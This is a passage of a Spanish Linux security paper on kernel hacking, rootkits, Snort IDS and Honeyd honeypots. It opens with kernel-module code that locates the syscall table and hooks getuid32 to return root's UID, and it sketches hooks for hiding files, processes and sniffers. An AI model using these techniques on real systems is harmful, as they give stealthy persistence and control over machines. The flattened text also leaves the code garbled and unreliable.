module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore

La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes

Adore ~034 SucKIT Adore-ng gt=131

Interceptando el flujo de ejecucioacuten

Syscalltable Syscall handler VFS

Transferencia coacutedigo dentro del Kernel

LKM Acceso directo (raw shycrudo) a memoria

LKM

Incluye puerta trasera - Siacute -

Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs

Tabla Comparativa de algunos rootkits

Medidas de proteccioacuten y deteccioacuten de rootkits

Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas

Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten

Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap

linux head Systemmap

00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt

Kernel hacks y seguridad JMP

Otros meacutetodos tiacutepicos

Checksums de ficheros importantes (tripwire aide etc)

Backup de las estructuras centrales del kernel (kstat)

LKMs anti-rootkit

Herramientas forenses (TCT)

Analisis de logs etc

Utilidades para la deteccioacuten (rkhunter chkrootkit)

Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas

httpwwwchkrootkitorg

httpwwwrootkitorg

Conclusiones

Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante

Kernel hacks y seguridad JMP

Snort el cerdito valiente

SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red

Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias

Wreski y Christopher Pallack en Linuxsecuritycom

ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated

Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular

root emerge -pv snort

These are the packages that I would merge in order

Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB

Total size of downloads 0 kB

No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL

httpwwwsnortorgdl

Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio

2- Configuracioacuten baacutesica de Snort

Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de

Kernel hacks y seguridad JMP

Snort Dicho fichero se puede encontrar en

etcsnortsnortconf

pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro

Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso

El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria

Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero

1 Establecer las variables para nuestra red

2 Configurar el preprocesador de Snort

3 Configurar los plugins de salida

4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort

5 Personalizar nuestro set de reglas para Snort

La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea

Paso 1

Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario

Kernel hacks y seguridad JMP

var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS

Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes

var HOME_NET 1921681124

Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo

var EXTERNAL_NET any

Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay

var DNS_SERVERS $HOME_NET

var SMTP_SERVERS $HOME_NET

[]

Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten

var HTTP_PORTS 80 var BO-BACKDOOR 31337

var NO_SSH 22 include mis_directivasrules

Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar

config detection search-method lowmem

Paso 2

Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas

Por ejemplo preprocessor frag2

Kernel hacks y seguridad JMP

preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies

Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo

preprocessor stream4 detect_scans

preprocessor stream4_reassemble

Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados

A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto

Paso 3

Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema

Paso 4

Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados

Paso 5

Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo

3- Descargando nuevas reglas desde Internet

Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es

httpwwwsnortorgrules

yo

Kernel hacks y seguridad JMP

httpwwwsnortorgpub-bindownloadscgi

Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar

Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto

4- Prevencioacuten de intrusiones

Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort

Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ

Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway

httpsnort-inlinesourceforgenet (configure - -enable-inline)

Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado

Kernel hacks y seguridad JMP

Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 12: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

continuando listado 4

